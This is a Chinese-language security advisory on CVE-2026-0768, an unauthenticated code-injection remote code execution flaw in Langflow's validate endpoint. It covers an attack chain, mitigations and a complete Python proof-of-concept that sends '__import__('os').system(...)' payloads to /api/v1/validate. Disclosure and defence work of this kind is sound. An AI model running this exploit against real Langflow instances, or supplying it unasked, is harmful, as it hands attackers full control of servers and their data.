IPBUF安全漏洞报告
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CVE-2026-0768 CVSS 9.8 严重

CVE-2026-0768 Langflow代码注入远程代码执行漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-0768
漏洞类型
代码注入/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Langflow

相关标签

CVE-2026-0768代码注入远程代码执行RCELangflowZDI-CAN-27322无需认证Python代码执行关键严重级别

漏洞概述

CVE-2026-0768是Langflow中的一个严重安全漏洞,CVSS评分高达9.8分,属于紧急严重级别。该漏洞为代码注入(Code Injection)导致的远程代码执行(Remote Code Execution)漏洞,允许未经认证的远程攻击者在受影响系统上执行任意代码。Langflow是一个开源的机器学习工作流平台,广泛应用于数据科学和AI领域。漏洞的存在使得攻击者可以直接在服务器上执行恶意代码,以root权限运行,可能导致敏感数据泄露、系统完全沦陷、横向移动等严重后果。由于该漏洞无需认证即可利用,且CVSS评分接近满分,所有暴露在网络中的Langflow实例都面临极高的安全风险。攻击者可以利用此漏洞完全控制目标服务器,窃取数据库中的敏感信息,安装后门程序,甚至将受害系统作为跳板进行更大规模的网络攻击。该漏洞由ZDI(Zero Day Initiative)披露,编号为ZDI-CAN-27322。建议所有使用Langflow的组织立即采取修复措施。

技术细节

该漏洞的根本原因在于Langflow应用程序对用户输入的验证不足。具体来说,漏洞存在于validate端点(/validate或类似端点),该端点直接处理用户提供的code参数。应用程序在接收到code参数后,缺少对输入字符串的充分验证和过滤,直接将用户输入的字符串作为Python代码执行。这种不安全的设计直接导致了代码注入漏洞的产生。攻击者可以通过构造恶意的Python代码片段作为code参数的值,发送给存在漏洞的validate端点。由于应用程序直接执行这些注入的代码,攻击者的代码将在服务器端以Web应用运行的用户权限执行。考虑到该漏洞可能以root权限运行,攻击者实际上可以获得系统的完全控制权。攻击者可以注入任意Python代码,包括但不限于:执行系统命令、读写文件、网络通信、数据库操作等。这种漏洞的利用简单直接,攻击成本低,但危害极大。建议开发者使用AST(抽象语法树)解析、白名单验证或沙箱机制来安全地处理动态代码执行场景。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标环境中运行的Langflow实例,确定其版本和暴露的API端点(特别是validate端点)
STEP 2
步骤2: 构造恶意请求
攻击者构造包含恶意Python代码的HTTP POST请求,将代码注入到code参数中,利用__import__或其他方法导入os模块
STEP 3
步骤3: 发送攻击载荷
攻击者向Langflow的validate端点发送恶意请求,由于该端点无需认证,攻击者可以直接利用漏洞
STEP 4
步骤4: 代码执行
Langflow应用程序接收到请求后,直接执行用户提供的code参数内容,攻击者的恶意代码在服务器端以应用权限运行
STEP 5
步骤5: 权限提升与持久化
如果应用以root权限运行,攻击者直接获得系统最高权限,可进一步安装后门、窃取数据或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2026-0768 PoC - Langflow Code Injection RCE # Note: This PoC is for educational and authorized testing purposes only import requests import json import sys def exploit(target_url, command): """ Exploit CVE-2026-0768: Langflow Code Injection Remote Code Execution Args: target_url: Base URL of the vulnerable Langflow instance command: Command to execute on the target system """ # Construct the validate endpoint URL endpoint = f"{target_url.rstrip('/')}/api/v1/validate" # Construct malicious payload - inject Python code via code parameter # Using __import__ to dynamically import os module and execute command payload = f"__import__('os').system('{command}')" # Alternative payload using subprocess # payload = f"__import__('subprocess').check_output('{command}', shell=True)" # Prepare the request data data = { "code": payload } try: # Send the malicious request (no authentication required) response = requests.post(endpoint, json=data, timeout=10) print(f"[*] Request sent to: {endpoint}") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <command>") print(f"Example: {sys.argv[0]} http://localhost:7860 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)

影响范围

Langflow < 最新安全版本
所有未修复的Langflow版本均受影响

防御指南

临时缓解措施
在官方安全补丁发布之前,建议采取以下临时缓解措施:1)如果业务允许,暂时禁用或限制validate端点的访问;2)通过网络访问控制(如防火墙、VPN)限制对Langflow实例的访问,仅允许受信任的IP地址访问;3)实施Web应用防火墙规则,检测和阻止包含可疑代码模式(如__import__、exec、eval等)的请求;4)考虑使用反向代理增加额外的安全层;5)密切监控应用程序日志,关注异常的API请求模式;6)将Langflow部署在隔离的网络区域,限制漏洞利用后的横向移动风险;7)建立应急响应机制,以便在发现入侵时快速响应。

参考链接

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